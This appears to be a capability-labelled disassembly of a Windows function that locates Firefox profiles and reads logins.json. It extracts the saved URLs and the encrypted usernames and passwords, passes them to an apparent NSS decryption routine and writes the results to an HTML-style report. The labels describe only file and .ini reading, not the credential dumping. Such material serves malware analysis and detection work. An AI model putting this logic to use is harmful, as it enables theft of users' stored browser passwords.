Function at 0x140001ff0
Capabilities:
Get common file path
Read .ini file
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
mov eax, 0x1458
call fcn.1400b1970
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1440], rax
lea rax, [rsp + 0x220]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea r9, [rsp + 0x220]
lea r8, str._sMozillaFirefoxprofiles.ini
mov edx, 0x104
lea rcx, [rsp + 0x110]
call qword [sym.imp.MSVCR120.dll__snprintf]
lea r8, [rsp + 0x110]
mov edx, 0x1000
lea rcx, [rsp + 0x440]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea rax, [rsp + 0x440]
mov qword [rsp + 0x58], rax
xor eax, eax
cmp eax, 1
je 0x140002564
mov r8d, 7
lea rdx, str.Profile
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.MSVCR120.dll__strnicmp]
test eax, eax
jne 0x140002528
lea rax, [rsp + 0x110]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x104
lea r9, [rsp + 0x330]
xor r8d, r8d
lea rdx, [0x1400b28b0]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0xe8]
call fcn.140003084
xor r8d, r8d
lea rdx, [0x1400b275c]
mov rcx, rax
call fcn.1400031bc
inc rax
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0xc8]
call fcn.140003084
mov r9, qword [0x1400b72a0]
mov rcx, qword [rsp + 0x78]
mov r8, rcx
lea rdx, [rsp + 0xa8]
mov rcx, rax
call fcn.1400031f8
mov rcx, rax
call fcn.1400031a4
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x220]
lea r8, str._sMozillaFirefoxProfiles_s
mov edx, 0x104
lea rcx, [rsp + 0x110]
call qword [sym.imp.MSVCR120.dll__snprintf]
lea rcx, [rsp + 0xa8]
call fcn.140003130
lea rcx, [rsp + 0xc8]
call fcn.140003130
lea rcx, [rsp + 0xe8]
call fcn.140003130
lea rcx, [rsp + 0x110]
call qword [0x1400c23a0]
test eax, eax
jne 0x14000251b
lea rcx, [0x1400c2370]
call qword [sym.imp.MSVCR120.dll_atoi]
mov dword [rsp + 0x88], eax
xor r8d, r8d
lea rdx, str.logins.json
lea rcx, [rsp + 0x110]
call fcn.140001898
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x38], 0
lea rdx, [0x1400b276c]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.MSVCR120.dll_fopen]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002513
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.MSVCR120.dll_fseek]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.MSVCR120.dll_ftell]
mov dword [rsp + 0x48], eax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.MSVCR120.dll_fseek]
mov eax, dword [rsp + 0x48]
inc eax
mov eax, eax
mov ecx, eax
call fcn.1400b0ea8
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x48]
mov r9, qword [rsp + 0x50]
mov r8d, eax
mov edx, 1
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCR120.dll_fread]
lea rdx, [0x1400b277c]
mov rcx, qword [rsp + 0x1460]
call qword [sym.imp.MSVCR120.dll_fopen]
mov qword [0x1400c23a8], rax
cmp qword [0x1400c23a8], 0
je 0x1400024d9
lea r8, str._center__b_Mozilla_Firefox_64_Bits__b___center__n
lea rdx, str._s_n_n_n
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fprintf]
lea rdx, [0x1400b2920]
mov rcx, qword [rsp + 0x60]
call fcn.1400011e0
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400024cc
mov edx, 0x32
lea rcx, [0x1400b27cc]
call fcn.140001a48
mov r8, rax
lea rdx, [0x1400b2930]
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fprintf]
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x68], eax
mov r8d, dword [rsp + 0x68]
lea rdx, [0x1400b2948]
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fprintf]
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
lea rcx, str.formSubmitURL
call qword [sym.imp.MSVCR120.dll_strlen]
mov rcx, qword [rsp + 0x30]
lea rax, [rcx + rax + 3]
mov qword [rsp + 0x30], rax
lea rdx, str.usernameField
mov rcx, qword [rsp + 0x30]
call fcn.1400011e0
sub rax, 3
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov byte [rax], 0
mov r8, qword [rsp + 0x30]
lea rdx, str._center_URL:__s_n__center_
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fprintf]
mov rax, qword [rsp + 0x40]
inc rax
lea rdx, [0x1400b29a8]
mov rcx, rax
call fcn.1400011e0
mov qword [rsp + 0x80], rax
lea rcx, str.encryptedUsername
call qword [sym.imp.MSVCR120.dll_strlen]
mov rcx, qword [rsp + 0x80]
lea rax, [rcx + rax + 3]
mov qword [rsp + 0x30], rax
lea rdx, [0x1400b29d8]
mov rcx, qword [rsp + 0x30]
call fcn.1400011e0
sub rax, 3
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov byte [rax], 0
mov rcx, qword [rsp + 0x30]
call fcn.140001e24
mov r8, rax
lea rdx, str._center_Username:__s_n__center_
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fprintf]
mov rax, qword [rsp + 0x40]
inc rax
lea rdx, [0x1400b2a10]
mov rcx, rax
call fcn.1400011e0
mov qword [rsp + 0x90], rax
lea rcx, str.encryptedPassword
call qword [sym.imp.MSVCR120.dll_strlen]
mov rcx, qword [rsp + 0x90]
lea rax, [rcx + rax + 3]
mov qword [rsp + 0x30], rax
lea rdx, str.guid
mov rcx, qword [rsp + 0x30]
call fcn.1400011e0
sub rax, 3
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov byte [rax], 0
mov rcx, qword [rsp + 0x30]
call fcn.140001e24
mov r8, rax
lea rdx, [0x1400b2a48]
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fprintf]
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x60], rax
mov edx, 0x32
lea rcx, [0x1400b2804]
call fcn.140001a48
mov r8, rax
lea rdx, [0x1400b2a68]
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fprintf]
jmp 0x1400022c4
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fclose]
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xa0], rax
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete___void____ptr64_]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.MSVCR120.dll_fclose]
cmp dword [rsp + 0x38], 0
jne 0x140002513
lea rcx, str._center_No_entries_found___center__n
call qword [sym.imp.MSVCR120.dll_printf]
call qword [0x1400c23c8]
jmp 0x140002528
lea rcx, str._center_NSS_Init___error___center__n
call qword [sym.imp.MSVCR120.dll_printf]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
cdqe
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x58]
movsx eax, byte [rcx + rax]
test eax, eax
jne 0x14000255f
jmp 0x140002564
jmp 0x14000207e
mov rcx, qword [rsp + 0x1440]
xor rcx, rsp
call fcn.1400b0ec0
add rsp, 0x1458
ret